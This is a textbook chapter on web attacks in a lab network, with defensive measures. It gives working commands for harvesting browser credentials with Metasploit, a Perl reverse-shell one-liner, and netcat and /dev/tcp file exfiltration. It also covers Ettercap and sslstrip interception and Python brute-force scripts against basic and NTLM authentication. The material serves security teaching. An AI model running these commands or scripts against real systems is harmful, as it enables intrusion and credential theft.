Web Attacks - Cyber Operations: Building, Defending, and Attacking Modern Computer Networks (2015)

Cyber Operations: Building, Defending, and Attacking Modern Computer Networks (2015)

13. Web Attacks

Mike O’Leary1

(1)

Department of Mathematics, Towson University, Towson, MD, US

Introduction

Web servers provide new features for legitimate users, but also provide numerous avenues of attack for malicious actors. An attacker that has been able to compromise a system on a network can extract passwords stored in Internet Explorer or Firefox. A savvy defender can use a master password on Firefox to mitigate these kinds of attacks. An attacker that can only find their way on to the local network can use Ettercap to launch man in the middle attacks. If a web server automatically redirects unsecure HTTP traffic to a secure HTTPS site, then an attacker can use sslstrip to intercept the traffic before it is encrypted, allowing them to attack the connection without the browser warning of an improperly configured certificate chain.

An attacker can use a variety of tools to attempt a brute force attack against a password protected site. In addition to writing custom code, the attacker can use Burp Suite, a powerful network proxy that includes the ability to configure and launch password attacks. A web site administrator can use a variety of tools to prevent brute force attacks, including dynamic IP restrictions on IIS and ModSecurity on Linux.

Common tools such as NMap are used to fingerprint a server as a prelude to other kinds of attacks. Apache servers in their default configuration are vulnerable to the Slowloris denial of service attack; this can be countered with Apache modules like mod_qos. The Heartbleed attack from Spring 2014 attacks the OpenSSL library, allowing an attacker to read small fragments of memory on the server. These fragments can occasionally contain sensitive information, such as passwords, cookies, or private keys.

Pillaging the Browser

An attacker with a foothold in a network system that wants to move laterally can exploit the fact that most browsers store users’ credentials. This service is provided primarily for the convenience of the user, but can be leveraged by malicious attackers already on the system.

For example, consider a user on Windows 8 running Internet Explorer 10. If that user visits a web server requiring basic authentication, like an Apache web server, then when the user is prompted to enter their credentials, they are also given the option of saving those credentials. Suppose the user does so. Suppose also that the user’s system is later compromised by, for example, running Veil-based malware that provides a Meterpreter session back to an attacker.

root@kali:∼# msfconsole -q

msf > workspace -a browser

[*] Added workspace: browser

msf > resource /root/veil-output/handlers/windows-exploit_handler.rc

[*] Processing /root/veil-output/handlers/windows-exploit_handler.rc for ERB directives.

resource (/root/veil-output/handlers/windows-exploit_handler.rc)> use exploit/multi/handler

... Output Deleted ...

[*] Started HTTP reverse handler on http://0.0.0.0:8080/

[*] Starting the payload handler...

msf exploit(handler) >

[*] 10.0.3.9:49212 Request received for /Z7ef...

... Output Deleted ...

[*] Meterpreter session 1 opened (10.0.4.252:8080 -> 10.0.3.9:49212) at 2015-01-12 16:39:12 -0500

The attacker can extract the passwords saved in Internet Explorer 10 with the post module post/windows/gather/enum_ie.

msf exploit(handler) > use post/windows/gather/enum_ie

msf post(enum_ie) > info

Name: Windows Gather Internet Explorer User Data Enumeration

Module: post/windows/gather/enum_ie

Platform: Windows

Arch:

Rank: Normal

Provided by:

Kx499

Description:

This module will collect history, cookies, and credentials (from

either HTTP auth passwords, or saved form passwords found in

auto-complete) in Internet Explorer. The ability to gather

credentials is only supported for versions of IE >=7, while history

and cookies can be extracted for all versions.

To use the module, the attacker specifies the session on which it is to run.

msf post(enum_ie) > set session 1

session => 1

msf post(enum_ie) > exploit

[*] IE Version: 9.10.9200.16384

[*] Retrieving history.....

[*] Retrieving cookies.....

[*] Looping through history to find autocomplete data....

[-] No autocomplete entries found in registry

[*] Looking in the Credential Store for HTTP Authentication Creds...

[*] Writing gathered credentials to loot...

[*] Data saved in: /root/.msf4/loot/20150112164313_browser_10.0.3.9_ie.user.creds_221716.txt

Credential data

===============

Type Url User Pass

---- --- ---- ----

Credential Store atria.stars.example:443/Atria Safe Files cgauss password1!

[*] Post module execution completed

The results of the module are stored in the loot directory, but are not added to the database of credentials.

msf post(enum_ie) > creds

Credentials

===========

host service public private realm private_type

---- ------- ------ ------- ----- ------------

The same process can be used to extract credentials from Internet Explorer 8, 9, and 10 on Windows 7.

An attacker can also extract credentials from Firefox browsers. Metasploit includes two modules, post/firefox/gather/passwords and post/multi/gather/firefox_creds, for this purpose. The first of these modules requires a Firefox privileged Javascript shell, while the second often requires root privileges to extract the passwords. A manual but more flexible approach is to download the required files from the target and pass them to the Windows tool PasswordFox to decrypt the passwords. This approach does not require a Firefox Javascript shell, does not require elevated privileges, and works against Windows and Linux versions of Firefox.

The first step in the attack is to download three files from the Firefox profile of the user on the target. On Windows systems, the Firefox profile is located in a randomly named subdirectory of C:\Users\Username\AppData\Roaming\Mozilla\Firefox\Profiles. Continuing the previous attack, the attacker begins by interacting with the session and determining the proper directory.

msf post(enum_ie) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > pwd

C:\Users\Pierre Laplace\Desktop

meterpreter > cd "C:\\Users\\Pierre Laplace\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"

meterpreter > ls

Listing: C:\Users\Pierre Laplace\AppData\Roaming\Mozilla\Firefox\Profiles

=========================================================================

Mode Size Type Last modified Name

---- ---- ---- ------------- ----

40777/rwxrwxrwx 0 dir 2014-07-07 14:01:53 -0400 .

40777/rwxrwxrwx 0 dir 2014-07-07 14:01:53 -0400 ..

40777/rwxrwxrwx 0 dir 2015-01-12 17:03:29 -0500 s3bnydlo.default

In this example, the profile directory is named s3bnydlo.default. The three required files in the profile directory are cert8.db, key3.db, and signons.sqlite. In older versions of Firefox, this last file is replaced by the text file signons3.txt. Download and store each file.

meterpreter > cd s3bnydlo.default

meterpreter > download cert8.db

[*] downloading: cert8.db -> cert8.db

[*] downloaded : cert8.db -> cert8.db

meterpreter > download key3.db

[*] downloading: key3.db -> key3.db

[*] downloaded : key3.db -> key3.db

meterpreter > download signons.sqlite

[*] downloading: signons.sqlite -> signons.sqlite

[*] downloaded : signons.sqlite -> signons.sqlite

These files contain the locally stored password information, but are encrypted. The NirSoft tool PasswordFox, free and available from http://www.nirsoft.net/utils/passwordfox.html , may be able to decrypt the result. This is a Windows only tool, and requires a Firefox installation on the system to function. Store the three files in a single directory on the Windows system, then in PasswordFox navigate File ➤ Select Folders and select the directory containing the pillaged Firefox files. The now decrypted passwords are shown; see Figure 13-1

A333712_1_En_13_Fig1_HTML.jpg

Figure 13-1.

Using PasswordFox to decrypt exfiltrated Firefox stored password data

.

This process works against Linux targets. Suppose an attacker has compromised a Mint 16 system through msfvenom generated malware that presents the attacker with a reverse shell.

msf > use exploit/multi/handler

msf exploit(handler) > set payload linux/x86/shell_reverse_tcp

... Output Deleted ...

[*] Started reverse handler on 10.0.4.252:443

msf exploit(handler) > [*] Starting the payload handler...

msf exploit(handler) > [*] Command shell session 1 opened (10.0.4.252:443 -> 10.0.4.34:34485) at 2015-01-12 19:12:31 -0500

The reverse shell on Mint 16 is difficult to use, so the attacker starts a netcat listener and uses perl to call back to that listener. In the Metasploit session, the attacker uses

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

perl -e ’use Socket;$i="10.0.4.252";$p=8443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};’ #

Here the attacker runs a /bin/bash shell and passes it back out over TCP/8443; the command is terminated by a comment (#), as some Metasploit reverse shells do not properly terminate commands.

The corresponding netcat listener is started first; when the perl command is run in the session, the attacker is presented with a clean /bin/bash shell.

root@kali:∼# nc -l -v -p 8443

listening on [any] 8443 ...

connect to [10.0.4.252] from Ring.nebula.example [10.0.4.34] 41959

nabel@ring /home/nabel/Desktop $

Now that the attacker has a reasonable shell, the next step is to exfiltrate the Firefox data, which is located in a randomly named subdirectory of ∼/.mozilla/firefox.

nabel@ring /home/nabel/Desktop $ cd /home/nabel/.mozilla/firefox

cd /home/nabel/.mozilla/firefox

nabel@ring /home/nabel/.mozilla/firefox $ ls

ls

Crash Reports

mwad0hks.default

profiles.ini

In this case the directory containing the Firefox profile is /home/nabel/.mozilla/firefox/mwad0hks.default.

To download the required files, the attacker sets up another netcat listener on a different port that redirects the output to a file.

root@kali:∼# mkdir LinuxFirefox

root@kali:∼# cd LinuxFirefox/

root@kali:∼/LinuxFirefox# nc -l -v -p 8888 > cert8.db

listening on [any] 8888 ...

In the shell, the attacker uses cat to send a file out via TCP with the command

nabel@ring /home/nabel/.mozilla/firefox $ cd mwad0hks.default

cd mwad0hks.default

nabel@ring /home/nabel/.mozilla/firefox/mwad0hks.default $ cat cert8.db > /dev/tcp/10.0.4.252/8888

<illa/firefox/mwad0hks.default $ cat cert8.db > /dev/tcp/10.0.4.252/8888

The attacker repeats the process for the remaining two files (key3.db and signons.sqlite), each time setting up new netcat listeners before sending the file to /dev/tcp.

The attacker stores the three files in a single directory and passes the result to PasswordFox to obtain the credentials in the same fashion as Windows systems.

Though this approach is reliable, it should be noted that for some versions of Firefox, including 3.5 and 3.6, PasswordFox may not be able to decrypt the passwords.

A defender can protect against these attacks by using a Firefox master password. The master password provides an additional level of security for stored credentials and prevents tools like PasswordFox from immediately decrypting stored passwords. To set the master password in Firefox, launch the preferences dialog, then navigate to the security tab. Select the option “Use a master password”; the user is provided with a dialog box like Figure 13-2 to set the master password.

A333712_1_En_13_Fig2_HTML.jpg

Figure 13-2.

Setting the master password in Firefox 4.0 on Windows 7

Man in the Middle

An attacker with a network address on the local network can leverage that position to gain access by performing ARP poisoning man in the middle attacks. One tool that can be used for this purpose is Ettercap. The graphical interface for Ettercap was introduced in Chapter 9 in the context of SSH protocol downgrade attacks. However, Ettercap works as well or better as a command-line tool.

On a Kali system, the primary configuration file for Ettercap is /etc/ettercap/etter.conf. To perform attacks against SSL/TLS encrypted traffic, Ettercap needs to modify how traffic flows in the attacker’s system, which requires changes in this configuration file. By default, Ettercap drops privileges after initialization to a UID and GID of 65534- nobody. To allow it to continue to change the state of the system, it needs to continue to run as root. Update the file /etc/ettercap/etter.conf so that the [privs] section reads

[privs]

ec_uid = 0

ec_gid = 0

The needed changes in the state of the attacker’s Kali system are made by adjusting iptables firewall rules. Because Ettercap can be used on a range of operating systems, the configuration file includes directives for Linux, Mac OSX, and Open BSD, but all are commented out. To use Ettercap on Kali, uncomment the lines specific to iptables Linux distribution so that they read

# if you use iptables:

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

When Ettercap is used to perform a man in the middle attack against SSL/TLS encrypted traffic, it replaces the site’s original certificate with one generated by Ettercap. For the attack to succeed, the target is going to need to accept the presented certificate as valid, and so some effort needs to be paid to make the certificate realistic. The process of generating a certificate and a key for Ettercap is the same as the process for generating a certificate for a legitimate service. Start by creating a key

root@kali:∼# openssl genrsa -out /etc/ettercap/etter.ssl.key 2048

Next, create a certificate signing request. Suppose that the attacker plans on impersonating the server atria.stars.example; then it makes sense to select the fields to make the result more realistic.

root@kali:∼# openssl req -new -key /etc/ettercap/etter.ssl.key -out /etc/ettercap/etter.ssl.csr

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter ’.’, the field will be left blank.

-----

Country Name (2 letter code) [AU]:US

State or Province Name (full name) [Some-State]:MD

Locality Name (eg, city) []:Towson

Organization Name (eg, company) [Internet Widgits Pty Ltd]:Towson University

Organizational Unit Name (eg, section) []:Emergency Temporary Certificate

Common Name (e.g. server FQDN or YOUR name) []:atria.stars.example

Email Address []:cgauss@atria.stars.example

Please enter the following ’extra’ attributes

to be sent with your certificate request

A challenge password []:

An optional company name []:

Since the attacker does not have access to a legitimate certificate authority, they sign the certificate.

root@kali:∼# openssl x509 -req -days 365 -in /etc/ettercap/etter.ssl.csr -signkey /etc/ettercap/etter.ssl.key -out /etc/ettercap/etter.ssl.crt

Suppose that the attacker wants to become a man in the middle for traffic between 10.0.3.14 and 10.0.2.58, where the attacker has gained an address on the same local network as both hosts. To perform an ARP man in the middle attack with Ettercap, the attacker uses the command

root@kali:∼# ettercap --text --quiet --iface eth0 --mitm arp --certificate /etc/ettercap/etter.ssl.crt --private-key /etc/ettercap/etter.ssl.key /10.0.3.14/ /10.0.2.58/

The options have the following meanings:

· --text Ettercap can be run in text mode, in an ncurses based environment, or as a graphical GTK application.

· --quiet By default, Ettercap prints the content of packets to the screen.

· --iface eth0 Ettercap can use any available network interface.

· --mitm arp Ettercap can perform man in the middle attacks using ARP poisoning, ICMP redirection, DHCP spoofing, and port stealing.

· --certificate, --private-key are the locations of the certificate and private key used in the attack.

The last two arguments are the first and second targets of the attack. Each can specify a single IP address or a range, and one or more ports. For example, the specification /10.0.3.10-50/80,443 indicates all hosts in the range 10.0.3.10-10.0.3.50 on ports 80 and 443. If either the IP address or port is omitted, it matches all targets. In the example, traffic between any port on 10.0.3.14 to/from any port on 10.0.2.58 is passing through Ettercap.

Once the command is executed, Ettercap displays basic information about its status to the screen:

root@kali:∼# ettercap --text --quiet --iface eth0 --mitm arp --certificate /etc/ettercap/etter.ssl.crt --private-key /etc/ettercap/etter.ssl.key /10.0.3.14/ /10.0.2.58/

ettercap 0.8.0 copyright 2001-2013 Ettercap Development Team

Listening on:

eth0 -> 08:00:27:5C:13:B7

10.0.4.252/255.255.240.0

fe80::a00:27ff:fe5c:13b7/64

Privileges dropped to UID 0 GID 0...

33 plugins

42 protocol dissectors

57 ports monitored

16074 mac vendor fingerprint

1766 tcp OS fingerprint

2182 known services

Scanning for merged targets (2 hosts)...

* |==================================================>| 100.00 %

3 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 10.0.3.14 08:00:27:35:4D:94

GROUP 2 : 10.0.2.58 08:00:27:AB:EE:16

Starting Unified sniffing...

Text only Interface activated...

Hit ’h’ for inline help

The help menu in Ettercap shows the different available commands; for example, to get a list of the known hosts on the local network, press “l”.

Hit ’h’ for inline help

Inline help:

[vV] - change the visualization mode

[pP] - activate a plugin

[fF] - (de)activate a filter

[lL] - print the hosts list

[oO] - print the profiles list

[cC] - print the connections list

[sS] - print interfaces statistics

[<space>] - stop/cont printing packets

[qQ] - quit

Hosts list:

1) 10.0.2.28 08:00:27:40:19:69

2) 10.0.2.58 08:00:27:AB:EE:16

3) 10.0.3.14 08:00:27:35:4D:94

Once Ettercap has been started, connections between the targets are intercepted and modified by Ettercap. For example, suppose that the client on 10.0.3.14 navigates to the SSL/TLS protected web page https://atria.stars.example/safe running on 10.0.2.58, where this page requires the user to provide credentials using basic authentication. If the client uses Internet Explorer, then they receive a warning before connecting or being prompted for credentials; Figure 13-3 is an example of such a warning.

A333712_1_En_13_Fig3_HTML.jpg

Figure 13-3.

Certificate warning generated by an Ettercap man in the middle attack; the target is running Internet Explorer 9 on Windows 7

If the user bypasses the warning then continues on to the web site and enters their credentials, then they are reported to attacker in Ettercap:

HTTP : 10.0.2.58:443 -> USER: gmonge PASS: password INFO: atria.stars.example/safe

HTTP : 10.0.2.58:443 -> USER: gmonge PASS: password INFO: atria.stars.example/safe/

If the client uses Firefox, they receive a similar warning before connecting or being prompted for credentials; if they decide to proceed they can view the certificate before deciding to accept it. The contents of that certificate however, were determined by the attacker during the signing process. In this example, the client is presented with a dialog box like the one in Figure 13-4; such a certificate is sufficiently plausible that it may be accepted by one or more users on a network. If accepted, the any credentials entered by the client are displayed to the attacker in Ettercap.

A333712_1_En_13_Fig4_HTML.jpg

Figure 13-4.

Viewing the presented certificate presented by Ettercap; the client is using Firefox 22 on Windows 7

These attacks succeed only if the user decides to bypass the certificate warnings presented by the browser. Since one of the core purposes of SSL/TLS certificates is to ensure that the server is correctly identified, this is difficult. However, there is an approach that may be able to bypass these certificate warnings.

Many users do not include the stem (http or https) when visiting a remote web site, instead they enter only the name of the web site in the browser’s address bar and rely on the server to redirect them to the correct, secured site. If an attacker interferes with the connection between the client and the server before they establish an SSL/TLS connection, then no certificate warnings are presented to the client. This attack technique was developed by Moxie Marlinspike and presented at Black Hat DC in 2009.

To perform the attack, the attacker adds a new tool named sslstrip. From a command prompt, run the tool; this starts the attacker’s system listening on TCP/10000.

root@kali:∼# sslstrip -h

sslstrip 0.9 by Moxie Marlinspike

Usage: sslstrip <options>

Options:

-w <filename>, --write=<filename> Specify file to log to (optional).

-p, --post Log only SSL POSTs. (default)

-s, --ssl Log all SSL traffic to and from server.

-a, --all Log all SSL and HTTP traffic to and from server.

-l <port>, --listen=<port> Port to listen on (default 10000).

-f, --favicon Substitute a lock favicon on secure requests.

-k, --killsessions Kill sessions in progress.

-h Print this help message.

root@kali:∼# sslstrip

sslstrip 0.9 by Moxie Marlinspike running...

Next, the system needs to be configured so that traffic destined for TCP/80 is instead redirected to sslstrip. This can be done by adjusting the iptables firewall from the command line

root@kali:∼# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

If the target enters the SSL/TLS and password protected web site address atria.stars.example/safe into the address bar of a browser without the https stem, they are presented with the content of the SSL/TLS protected web site they intended to visit. However their traffic is first being sent to the attacker via HTTP, while the attacker communicates with the server via HTTPS. Figures 13-5 and 13-6 show the result on Internet Explorer and Firefox. Since the browser traffic is not protected by SSL/TLS, this interception raises no certificate warnings. Any passwords entered by the user are presented to the attacker by Ettercap.

A333712_1_En_13_Fig5_HTML.jpg

Figure 13-5.

View of an SSL/TLS protected web site that has been intercepted by Ettercap and sslstrip. Note that the address bar shows no errors, only the fact that it is using http instead of https. Internet Explorer 9 on Windows 7

A333712_1_En_13_Fig6_HTML.jpg

Figure 13-6.

View of an SSL/TLS protected web site that has been intercepted by Ettercap and sslstrip. Note that the address bar shows no errors, and only the tab title shows that it is using http instead of https. Firefox 22 on Windows 7

Password Attacks

An attacker unable to obtain credentials to a protected web resource may instead resort to attacking the server directly. One useful tool for attacking web sites and web applications is Burp Suite; the free version of Burp Suite is included by default in Kali. Burp Suite can act as a proxy, controlling the flow of traffic between an attacker’s browser and the target. It can also spider the web site or perform brute force attacks on authentication mechanisms.

To start Burp Suite, navigate the main Kali menu Applications ➤ Kali Linux ➤ Top 10 Security Tools ➤ burpsuite; Burp Suite also appears in a number of other locations in the Kali Linux menu, especially in the Web Applications section.

Burp Suite Web Proxy

The most basic use of Burp Suite is as a web proxy. To configure the basic settings for the proxy, from Burp Suite navigate Proxy ➤ Options. By default, the proxy listens on TCP/8080 on the loopback interface (Figure 13-7).

A333712_1_En_13_Fig7_HTML.jpg

Figure 13-7.

Configuring the proxy settings for Burp Suite on Kali

To use the proxy, the attacker needs to configure the browser to pass its traffic through the proxy. To do so with the Kali default IceWeasel browser, navigate to Preferences ➤ Advanced ➤ Network, then select connection settings. Configure the proxy manually, and send traffic for all protocols through 127.0.0.1 on TCP/8080.

The Burp Suite proxy intercepts and allows the modification of web traffic in transit. To gain access to SSL/TLS protected traffic, in its default configuration Burp Suite generates new certificates for each SSL/TLS protected host, and signs these certificates with its own local CA key. This generates errors in the attacker’s browser, as the Burp Suite CA is not trusted. The CA certificate can be imported into the browser and so avoid these SSL/TLS errors and warnings. From a browser proxying traffic through Burp Suite, navigate to the web site http://burp. This site contains a link that enables the locally generated Burp Suite CA certificate to be downloaded. The certificate is installed in the usual fashion (c.f. Chapter 11).

When running as a proxy, Burp Suite can intercept requests made to web servers; these requests can be analyzed or modified before they are sent to the server. Similarly, the responses can be intercepted then analyzed or modified before they reach the browser. When a request or a response is intercepted, the Burp Suite user is presented with the content of the request or the response; it is available by navigating Proxy ➤ Intercept. Figure 13-8 shows an intercepted request for the Google home page after it was redirected to the corresponding SSL/TLS protected page.

A333712_1_En_13_Fig8_HTML.jpg

Figure 13-8.

Intercepting a request made for the Google home page using Burp Suite on Kali

Burp Suite provides a fine degree of control over which requests and responses are intercepted and held. One option is to set a target scope. These settings are found by navigating Target ➤ Scope. In-scope targets can be chosen based on their host name, their IP address, the port used or even the protocol (HTTP or HTTPS) used to communicate. The actual rules used to determine which requests and responses are intercepted are found by navigating Proxy ➤ Intercept. Individual rules can make decisions based on a range of factors, including whether the target is in scope or on characteristics of the request or response, including the URL, the headers, request parameters, or cookies. These individual rules can then be combined using the Boolean operations and/or; see Figure 13-9.

A333712_1_En_13_Fig9_HTML.jpg

Figure 13-9.

Burp Suite interception rules on Kali, configured to intercept requests to all in-scope servers

Even if the request or response is not intercepted, Burp Suite records each request and response. These can be seen by navigating Proxy ➤ HTTP History. The navigation pane shows the requests, including the host, the method, the URL, and the status of the response. Select a single request, and the lower panel shows the request and the response. Requests can be shown in raw or hex form, and there is a separate tab to show the headers. The response is available in raw, hex, or HTML form, and there is a separate tab to display the request’s headers, including the status code.

Burp Suite Brute Force Password Attacks

Burp Suite can be used as a platform to launch brute force attacks against password protected web pages. Suppose an attacker visits the web site https://atria.stars.example/safe and discovers that it is protected by Basic Authentication. The attacker uses Burp Suite as a proxy and visits the site; when prompted for a password they simply guess at a user name and a password.

The Burp Suite proxy shows the (failed) request in the proxy history (Figure 13-10). Select this request from the collection of all requests; right-click on the request and select Send to Intruder. Each separate attack generates its own numerical tab number in Intruder; usually the first attack is a template, so the attacker moves to tab 2 (Figure 13-11). This contains four sub tabs: target, positions, payloads, and options. The attacker chooses the host, port and protocol of the attack on the target tab; because the attack has been sent from the proxy, these fields are pre-populated with the proper host and port.

A333712_1_En_13_Fig10_HTML.jpg

Figure 13-10.

The Burp Suite proxy HTTP history, selecting a failed attempt to login to the web site https://atria.stars.example/safe that requires Basic Authentication

A333712_1_En_13_Fig11_HTML.jpg

Figure 13-11.

Using Burp Suite intruder to configure an attack on the web site https://atria.stars.example/safe protected by basic authentication. The highlighted component is a payload position, and will be replaced by attacker generated data

Next, the attacker selects the positions tab. Each field in a request that is to hold a value is called a payload position. In an attack against a system using basic authentication, there is only one payload position, the value of the Authorization header. To configure a portion of the request to be a payload position, highlight the portion and select Add § from the menu; this then adds “§” to the start and the end of that component of the request.

Each payload position can take values from a payload; typically these are just lists of values, like user names or passwords, though they can be processed or encoded. Burp Suite has four different ways to choose values for each payload position. This is specified by the choice of the attack type. The types of attack include the following:

· Sniper: On each iteration, one payload position receives a payload value, others receive a default value.

· Battering ram: On each iteration, each payload position receives the same payload value.

· Pitchfork: Each payload position has an associated payload; on each iteration all payload values are changed.

· Cluster bomb: Each payload position has an associated payload; on each iteration one payload value is changed so that all permutations of payload values are tested.

In this particular example, there is only one payload position, so any of the four methods can be used; suppose that the attacker chooses the Sniper attack.

Next, the attacker moves to the payload tab (Figure 13-12) to select the payload values that will be substituted in the payload position. The first option is to choose the number of payload sets. Since there is only one payload position in this example, only one payload set can be chosen. There are a number of possible payload types, including a simple list, a runtime file, and a custom iterator. Because the website is protected with basic authentication, the user needs two pieces of information: a username and a password. The attacker chooses a custom iterator for the attack; this lets them select the user name and password separately.

A333712_1_En_13_Fig12_HTML.jpg

Figure 13-12.

Selecting the usernames for the attack on a web site protected by basic authentication. Note the colon used as the seperator for position 1

For the first position, the attacker chooses a collection of user names; these can be loaded from a plain text file or typed in individually. A colon is used as a separator for position 1. A collection of passwords is chosen for position 2; these too can be loaded from a file or manually entered.

Finally, a payload processing rule is added; for the rule type select Encode, then choose Base64-encode. In this approach, Burp Suite takes a username, appends a colon, then takes a password. Then Base64 encodes the result; the resulting values are substituted into the previously chosen payload position. This correctly formats the result for basic authentication.

Additional options for the attack can then be chosen from the options tab.

When the attack is ready to launch, the attacker navigates to Intruder on the main menu (not one of the tab positions) and selects Start attack. As the attack proceeds, the requests and responses are tabulated by Intruder. Because the attack is being made against a site protected by basic authentication, the server responds to failed attempts with a 401 Authorization Required status. A successful attack can return a number of codes, including 200 OK or 301 Moved Permanently, depending on whether the result returns the page or redirects the user to the proper page. The filter can be adjusted to show results based on the status code; a reasonable approach is to hide all 4xx and 5xx responses.

The attacker can view the successful and unsuccessful requests and responses. Examining Figure 13-13, for example, the status codes show that one request succeeded. However, because the list of requests shows the payload content as presented to the web server, only the Base64 encoded username and password are shown rather than the actual username and password. From the request, highlight the Base64 encoded username and password, right-click, and select Send to Decoder. Be aware of a quirk in this process; the raw request uses HTTP encoding, so any equal signs that appear are replaced with the code %3d; these should be manually changed in the decoder before decoding.

A333712_1_En_13_Fig13_HTML.jpg

Figure 13-13.

The results of a successful intruder attack in Burp Suite

Custom Password Attacks

Burp Suite is a convenient way to launch brute force attacks against password protected web sites, but it is also possible to write a custom script as well. Suppose for example, that the site https://thebe.ad.jupiter.test is an IIS system protected by basic authentication. One approach to a brute force attack script is

Script 13-1. Python script brute.py to attack an IIS system protected by basic authentication

#!/usr/bin/python

import base64

import urllib2

domain = "ad"

usernames = ["aeinstein","inewton","mborn","shawking","nbohr","mcurie"]

users = [domain + "\\" + username for username in usernames]

passwords = ["pass","password","Password","password1","Password1","password1!","Password1!"]

url = " https://thebe.ad.jupiter.test "

for user in users:

for password in passwords:

request = urllib2.Request(url)

request.add_header("Accept", "text/html")

b64userpass = base64.b64encode(user + ":" + password)

request.add_header("Authorization", "Basic {}".format(b64userpass))

try:

response = urllib2.urlopen(request)

except urllib2.URLError as error:

if(error.code != 401):

print "{0} trying {1}:{2}".format(error,user,password)

continue

print "Status code {0} reported for {1}:{2}".format(response.getcode(),user,password)

This script builds a collection user names that includes the domain name, and includes a list of passwords. For each user and password combination, the Base64 encoding of user:password is calculated. The basic authorization header is built manually and the request made. If the server returns a 401 Authorization Required code, then the request is ignored. All other requests are printed to the screen along with the returned status code. Running this code yields results like

root@kali:∼/WebAttack# ./brute.py

Status code 200 reported for ad\aeinstein:Password1

Status code 200 reported for ad\nbohr:password1!

The big advantage of writing code is that it can be customized to particular situations. Suppose, for example, that the IIS server running at https://thebe.ad.jupiter.test uses Windows authentication rather than basic authentication. Python provides support for NTLM authentication in web requests through the module HTTPNtlmAuthHandler. As an example of script to attack such a system consider the following.

Script 13-2. Brute force password script to attack an IIS system protected by NTLM authentication

#!/usr/bin/python

import urllib2

from ntlm import HTTPNtlmAuthHandler

domain = "ad"

usernames = ["aeinstein","inewton","mborn","shawking","nbohr","mcurie"]

users = [domain + "\\" + username for username in usernames]

passwords = ["pass","password","Password","password1","Password1","password1!","Password1!"]

url = " https://thebe.ad.jupiter.test/ "

for user in users:

for password in passwords:

request = urllib2.Request(url)

request.add_header("Accept", "text/html")

passwordmanager = urllib2.HTTPPasswordMgrWithDefaultRealm()

passwordmanager.add_password(None, url, user, password)

auth_NTLM = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordmanager)

opener = urllib2.build_opener(auth_NTLM)

urllib2.install_opener(opener)

try:

response = urllib2.urlopen(request)

except urllib2.URLError as error:

print "{0} trying {1}:{2}".format(error,user,password)

continue

if(response.getcode() != 401):

print "Status code {0} reported for {1}:{2}".format(response.getcode(),user,password)

A password manager object in Python is a mapping between URLs and realms on one side, and usernames and passwords on the other. This script creates a new password manager for each user and password combination. Rather than building the headers directly, this script uses the module HTTPNtlmAuthHandler to provide the authentication mechanism. If the result of the request is not a 401 Authorization Required, then the corresponding status code is printed to the screen.

Defending Against Password Attacks

The administrator of a web server does not have to allow attackers the ability to try brute force attacks. One approach on Linux systems is to use ModSecurity.

The main configuration file modsecurity_crs_10_config.conf contains a directive to configure protection against brute force attacks. By default though, it is commented out and unconfigured. As an example, an administrator of atria.stars.example that wants to protect the page https://atria.stars.example/safe/index.html can use a directive such as the following.

#

# -- [[ Brute Force Protection ]] ---------------------------------------------------------

#

# If you are using the Brute Force Protection rule set, then uncomment the following

# lines and set the following variables:

# - Protected URLs: resources to protect (e.g. login pages) - set to your login page

# - Burst Time Slice Interval: time interval window to monitor for bursts

# - Request Threshold: request # threshold to trigger a burst

# - Block Period: temporary block timeout

#

SecAction \

"id:’900014’, \

phase:1, \

t:none, \

setvar:’tx.brute_force_protected_urls=/safe/index.html’, \

setvar:’tx.brute_force_burst_time_slice=60’, \

setvar:’tx.brute_force_counter_threshold=10’, \

setvar:’tx.brute_force_block_timeout=300’, \

nolog, \

pass"

This directive defines a number of variables internal to ModSecurity, the most important of which is the URL or URLs that ModSecurity is to protect. Multiple URLs can be specified on the line separated by spaces. In this example, only one URL, /safe/index.html is protected. The counter threshold determines how many requests make up a burst if they occur within a single time slice, measured in seconds. In this example, if more than 10 requests are received in 60 seconds, then ModSecurity considers this a burst. If ModSecurity decides to block an IP address, then it is blocked for a fixed timeout; set to five minutes in this example.

These directives alone do not block requests; these merely define the required variables. To enable blocking, the ruleset modsecurity_crs_11_brute_force.conf must be enabled. This ruleset is included in the OWASP core rule set, but not in the base rules; rather it is one of the experimental rules and must be added to the collection of activated rules. The rules begin blocking an IP address if two or more bursts are detected. In particular, in this example ModSecurity blocks the IP address of a brute force attacker returning a 403 Forbidden code beginning with the 23rd request.1

When ModSecurity begins blocking, two entries appear in the Apache error log; the following can be considered typical.

[Sun Jan 18 20:23:14 2015] [error] [client 10.0.2.222] ModSecurity: Warning. Operator GE matched 2 at IP:brute_force_burst_counter. [file "/etc/httpd/modsecurity.d/modsecurity_crs_11_brute_forc

e.conf"] [line "60"] [id "981043"] [msg "Potential Brute Force Attack from 10.0.2.222 - # of Request Bursts: 2"] [hostname "atria.stars.example"] [uri "/safe/index.html"] [unique_id "VLxcg

goAAjoAAAmvEWYAAAAC"]

[Sun Jan 18 20:23:14 2015] [error] [client 10.0.2.222] ModSecurity: Access denied with code 403 (phase 1). Operator EQ matched 0 at IP. [file "/etc/httpd/modsecurity.d/modsecurity_crs_11_brute

_force.conf"] [line "23"] [id "981036"] [msg "Brute Force Attack Identified from 10.0.2.222 (43 hits since last alert)"] [hostname "atria.stars.example"] [uri "/safe/index.html"] [unique_id "VLxcggoAAjoAAAmwEYsAAAAD"]

Windows Server 2012 and 2012 R2 can block brute force attacks natively without resorting to ModSecurity. From IIS Manager, navigate to IP Address and Domain Restrictions and select Edit Dynamic Restrictions Settings (c.f. Figure 12-5). The system can be configured to deny IP addresses based on the number of received requests in a specified time period. The returned error message is configurable from the Edit Feature Settings hyperlink in the action pane.

